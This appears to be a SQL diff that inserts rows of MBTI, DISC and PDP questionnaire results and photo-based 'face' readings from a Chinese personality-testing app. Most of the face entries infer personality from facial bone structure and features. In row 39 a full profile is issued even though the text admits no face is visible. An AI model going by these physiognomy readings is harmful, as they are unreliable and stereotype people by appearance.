+INSERT INTO `mbti_test_results` VALUES (22, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,重视内在原则与长期规划,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不夸张,颧骨不凸显权势而重内敛思谋,更擅长谋划与支持而非强势掌控。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人理性细腻、安静克制之感。\", \"personalitySummary\": \"内向安静,思维细致,有同理心与理想主义倾向,做事谨慎有计划,重视个人空间与稳定节奏。\"}', NULL, NULL, 1, 0, 1, NULL, 1772160911, 1772160911, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (23, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维细腻,重视独立空间与深度思考,适合研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,五官布局均衡偏上停用力,思考与学习能力突出,行动节奏温和但韧性佳,适合持久深耕型发展。\", \"faceAnalysis\": \"额头偏高饱满,眼神内敛专注,鼻梁清秀,嘴形含蓄,下颌略尖,整体给人理性安静、思虑周全之感。\", \"personalitySummary\": \"逻辑导向,善于抽象分析与问题拆解;情绪表达克制,有边界感;做事追求准确与效率,习惯独立完成任务,对熟悉圈层较为温和体贴。\"}', NULL, NULL, 1, 0, 1, NULL, 1772161323, 1772161323, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (24, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重视内心秩序与长期目标,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉适中,线条清长不突兀,决断多经思量后出手,抗压方式以内敛稳守为主。\", \"faceAnalysis\": \"额头顺畅、眼神内敛专注,鼻梁清秀、嘴形柔和含蓄,整体显理性克制、重思考少外露情绪。\", \"personalitySummary\": \"内向理性,洞察力强,做事有条理与原则,言语温和但边界清晰,更重质量与深度而非表面热闹。\"}', NULL, NULL, 1, 0, 1, NULL, 1772164524, 1772164524, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (25, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维敏捷,内向专注,有独立判断与持续深耕能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰偏纤细,属木水形相,骨重肉薄,思维敏锐但行事低调,以理性分析和持续钻研见长。\", \"faceAnalysis\": \"额头平顺偏高,眼神安静克制,鼻梁清秀,嘴形含蓄,下巴略尖,整体气质理性而内敛。\", \"personalitySummary\": \"性格安静理智,重视逻辑与独立空间,表达温和不失原则,适合从事需要专注思考与专业深度的工作。\"}', NULL, 35, 1, 1, 1, 1772172909, 1772164861, 1772172912, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (26, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-27T04:01:37.973Z\", \"confidence\": 100, \"completedAt\": \"2026-02-27T04:01:37.973Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 22, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, 34, 1, 1, 1, 1772172885, 1772164898, 1772172888, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (27, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-02-27T04:02:37.556Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 17, \"secondaryType\": \"Tiger\"}', NULL, 33, 1, 1, 1, 1772172854, 1772164957, 1772172860, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (28, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 1, \"S\": 19}, \"answers\": {\"1\": \"I\", \"2\": \"S\", \"3\": \"S\", \"4\": \"S\", \"5\": \"S\", \"6\": \"S\", \"7\": \"S\", \"8\": \"S\", \"9\": \"S\", \"10\": \"S\", \"11\": \"S\", \"12\": \"S\", \"13\": \"S\", \"14\": \"S\", \"15\": \"S\", \"16\": \"S\", \"17\": \"S\", \"18\": \"S\", \"19\": \"S\", \"20\": \"S\"}, \"completedAt\": \"2026-02-27T04:03:07.050Z\", \"description\": {\"type\": \"S型\", \"color\": \"#10B981\", \"title\": \"稳健型\", \"careers\": [\"人力资源\", \"客户服务\", \"行政\"], \"strengths\": [\"可靠稳定\", \"团队协作\", \"耐心倾听\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 5, \"S\": 95}, \"dominantType\": \"S\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, 31, 1, 1, 1, 1772172257, 1772164987, 1772172260, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (29, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:13:26.991Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, 32, 1, 1, 1, 1772172825, 1772172807, 1772172828, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (30, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛却有主见,善于思考与规划,适合深度研究与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体偏木水形,相骨清秀不臃,骨感适中偏文弱,重心在上停与中停,更重思考谋划而非强势进攻。\", \"faceAnalysis\": \"额头较宽平,眼神安定含蓄,鼻梁秀直,嘴唇柔和收敛,下颌略尖,下停偏弱显思维感性细腻。\", \"personalitySummary\": \"性格安静理性,有同理心与洞察力,重视个人边界与独立空间,做事稳妥细腻,擅长在幕后规划与支持他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772172961, 1772172961, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (31, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 1, \"I\": 0, \"J\": 1, \"N\": 0, \"P\": 6, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTP\", \"timestamp\": \"2026-02-27T06:16:32.131Z\", \"confidence\": 94, \"completedAt\": \"2026-02-27T06:16:32.131Z\", \"description\": {\"name\": \"企业家\", \"type\": \"ESTP\", \"careers\": [\"销售\", \"企业家\", \"运动员\"], \"category\": \"探险家\", \"strengths\": [\"果断\", \"务实\", \"善于应变\"], \"weaknesses\": [\"可能冲动\", \"缺乏耐心\"], \"description\": \"精力充沛、务实的行动者\"}, \"testDuration\": 27, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 1, \"P\": 6, \"dominant\": \"P\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 7, \"dominant\": \"T\", \"percentage\": 88}}}', NULL, NULL, 0, 0, NULL, NULL, 1772172992, 1772172992, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (32, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T06:17:08.676Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 15, \"secondaryType\": \"Peacock\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173028, 1772173028, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (33, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:17:36.507Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173056, 1772173056, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (34, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,内敛但有自身原则与坚持,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏纤细水木形,骨肉匀称不夸张,更多重心在思考与感知,属于稳健内收型,韧性佳但不喜正面强冲。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注温和,鼻梁清秀,唇形柔和收敛,下颌线细窄,整体给人安静理性、敏感细腻之感。\", \"personalitySummary\": \"内向深思,情感细腻但不外露,做事有规划有分寸,重视长期价值与内在原则,人际上温和有界限,擅长在幕后策划与支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245663, 1772245663, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (35, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性内敛、思维敏捷,重视独立空间与深度思考,适合专业研究与策略分析型道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨相纤长偏木形,骨肉匀称而不厚重,重思考与策略胜于强势掌控,耐力稳定偏持久。\", \"faceAnalysis\": \"额头偏高显理性与学习力,眼神专注带思索感,鼻梁清秀重理性判断,嘴形含蓄不事张扬。\", \"personalitySummary\": \"偏理性与独立,逻辑感强,好奇心重,情绪表现克制,人际有边界,擅长在安静环境中深度研究和解决复杂问题。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245716, 1772245716, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (36, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性安静、独立思考,重视逻辑与个人空间,适合深度研究与创造性工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,骨肉匀称,五官线条清晰,属于理性思辨型骨相,耐力中等但专注度高。\", \"faceAnalysis\": \"额头较饱满、眼神沉静理性,鼻梁清秀,嘴形含蓄内敛,整体给人冷静、安静而有思考感。\", \"personalitySummary\": \"思维抽象敏锐,善于分析问题与拆解结构,情绪外显度低,做人有分寸感,偏安静内敛但在熟悉领域表达坚定有主见。\"}', NULL, 36, 1, 0, 800, NULL, 1772246018, 1772258632, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (37, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻理性,外冷内暖,擅长独立思考与长期规划,重视自我节奏与内在价值。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉匀称而不厚重,颧骨不显主控欲适中,下颌线柔中带坚,整体以稳健内敛为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁清秀偏直,嘴唇柔和收敛,下巴略尖显韧性,整体偏理性含蓄。\", \"personalitySummary\": \"安静理性、思路清晰,情绪稳定度高,做事有计划有节奏,重视个人空间与深度思考,待人温和但边界感明确。\"}', NULL, NULL, 1, 0, 200, NULL, 1772259279, 1772259279, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (38, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视逻辑与效率,擅长规划与统筹,做事稳健克制,执行力扎实。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg\"], \"boneAnalysis\": \"骨相偏方正稳重,骨肉匀称,五行以土金为主,格局偏中高,重视规则秩序与长期稳定。\", \"faceAnalysis\": \"额头平阔,眼神专注,鼻梁端正,嘴形收敛,下颌较稳,整体给人理性内敛、思维清晰之感。\", \"personalitySummary\": \"性格理性谨慎,注重计划与细节,责任感强,抗压能力佳,人际有边界感,偏向独立思考与默默执行。\"}', NULL, 37, 1, 0, 200, NULL, 1772259532, 1772259535, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (39, 1, 'face', '{\"pdp\": {\"primary\": \"变色龙\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTP\", \"title\": \"鉴赏家\"}, \"overview\": \"理性内敛、行动务实,重视效率和实际效果,适合在相对独立又需专业判断的环境中发挥专长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg\"], \"boneAnalysis\": \"由于未呈现清晰面部与骨骼轮廓,仅能推测整体偏实务稳健型骨相,缺乏依据做更细分判断。\", \"faceAnalysis\": \"照片仅露出部分手部与发顶,面部特征信息不足,无法进行完整面相分析与对应传统条目判断。\", \"personalitySummary\": \"偏安静理性、重视事实与细节,习惯独立思考后再行动,适合技术、分析或需要冷静判断的角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772260136, 1772260136, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (40, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,兼具细腻感受力与长期规划能力,适合深度思考与稳健推进型发展道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏瘦长木形,骨感清晰而不突兀,骨肉比例匀称,耐力与持续投入度较佳,重谋划与内在驱动,外向冲劲相对收敛。\", \"faceAnalysis\": \"额头偏宽平顺,眼神内敛专注,鼻梁细直,嘴唇柔和含蓄,下巴略尖,整体给人安静理性、思考型与敏感细腻的气质。\", \"personalitySummary\": \"思维周密内敛,重视秩序与自我标准,对细节敏锐有审美与分析能力;做事前多思考规划,偏理性克制,有原则感与责任心。\"}', NULL, NULL, 1, 0, 200, NULL, 1772260992, 1772260992, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (41, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻安静内敛,重视长期规划与自我成长,擅长在独立空间中深度投入与持续精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨感轻盈,骨肉均匀偏薄,五行偏木水形,格局重思考与审美,抗压方式以理性分析与回避消耗为主。\", \"faceAnalysis\": \"额头略高偏窄、眼神温和内收、鼻梁秀直、嘴唇柔和含蓄、下巴偏尖清秀,整体偏理性内向型气质。\", \"personalitySummary\": \"性格安静克制,敏感但自持,重视原则与边界。做事追求完美与效率,偏向独立思考与深度学习,人际温和有礼但不主动扩圈。\"}', NULL, NULL, 1, 0, 200, NULL, 1772261454, 1772261454, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (42, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而细腻,思维有规划感,重视内在价值与长远发展,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨感清晰不外露,颧骨平稳不张扬,下颌线柔中带刚,格局偏谋划与思辨型。\", \"faceAnalysis\": \"额头顺展偏高,眼神内敛专注,鼻梁细直,唇形柔和含蓄,下巴略尖带韧性,整体气质清冷理性。\", \"personalitySummary\": \"性格安静克制,思考周密,有同理心与理想主义倾向,做事追求完善与长期价值,人际上保留度高但可靠度强。\"}', NULL, NULL, 1, 0, 200, NULL, 1772262532, 1772262532, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (43, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重内在标准与长期目标,适合深度研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰而不突兀,属木水形偏文质型,骨肉匀称,抗压方式以理性分析和持久稳守为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁秀直,嘴唇柔中带韧,整体五官清秀偏理性知性气质。\", \"personalitySummary\": \"内敛理智,情感深而不外露,做事有原则与规划感,重个人空间与思考深度,处事温和但内心主见坚定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263135, 1772263135, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (44, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又具同理心,重视自我节奏与精神空间,适合深度思考与创意表达型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨骼纤细偏木形,骨肉匀称,颧骨不突下颌略尖,格局重思考与创意,偏谋划与独立完成型路线。\", \"faceAnalysis\": \"额头偏高顺滑、眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人安静理性、带距离感的气质。\", \"personalitySummary\": \"性格内向克制,思路细腻有逻辑,情绪稳定但不善外露,做事有计划感与完美倾向,人际上温和有分寸,重视边界与深度连接。\"}', NULL, NULL, 1, 0, 200, NULL, 1772263164, 1772263164, 5, 'enterprise');
